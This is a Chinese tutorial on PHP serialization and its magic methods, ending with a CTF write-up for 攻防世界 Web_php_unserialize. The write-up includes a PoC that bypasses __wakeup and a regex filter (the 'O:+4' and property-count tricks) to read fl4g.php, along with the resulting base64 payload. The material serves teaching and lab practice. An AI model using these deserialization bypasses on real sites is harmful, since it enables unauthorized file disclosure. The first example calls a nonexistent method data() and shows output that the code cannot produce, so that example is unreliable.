序列化
serialize()
将对象转变成一个字符串便于之后的传递与使用;
序列化会保存对象所有的变量,但是不会保存对象的方法;
反序列化
unserialize()
将序列化的结果恢复成对象;
反序列化一个对象,这个对象的类必须在反序列化之前定义,或者通过包含该类的定义或者使用 spl_autoload_register() (自动包含类)实现;
例子
<?php
class Demo{
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
}
$s = new Demo('test.php');
$str = serialize($s);
echo($str."\n");
print_r(unserialize($str));
$sir = unserialize($str);
$sir->data();
?>
结果:
O:4:"Demo":1:{s:10:"Demofile";s:8:"test.php";}
Demo Object
(
[file:Demo:private] => test.php
)
sir
序列化格式:
布尔型:
b:value
b:0 //false
b:1 //true
整数型:
i:value
i:1
i:-1
字符型:
s:length:"value";
s:4:"aaaa";
对象:
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"Person":3:{s:4:"name";N;s:3:"age";i:18;s:3:"sex";B;}
数组:
a:<length>:{key; value pairs};
a:1:{i:1;s:1:"a";}
NULL型:
N
魔术方法
php 类中包含的一些以 _ 开头的函数:
__construct
对象被创建时调用,但 unserialize() 时不会调用;
__destruct
对象被销毁时调用;
__toString
对象被当做字符串使用时调用,返回一个字符串(不仅 echo ,比如 file_exists() 也会触发);
__sleep
序列化对象之前调用此方法(返回一个包含对象中所有应被序列化的变量名称的数组);
__wakeup
恢复反序列化对象之前调用;
__call
调用不存在的方法时;
反序列化漏洞
Web_php_unserialize
攻防世界Web_php_unserialize
poc:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$s = new Demo('fl4g.php');
$str = serialize($s);
echo($str."\n");
$str = str_replace('O:4', 'O:+4',$str);
$str = str_replace(':1:', ':3:',$str);
echo(base64_encode($str)."\n");
?>
结果:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==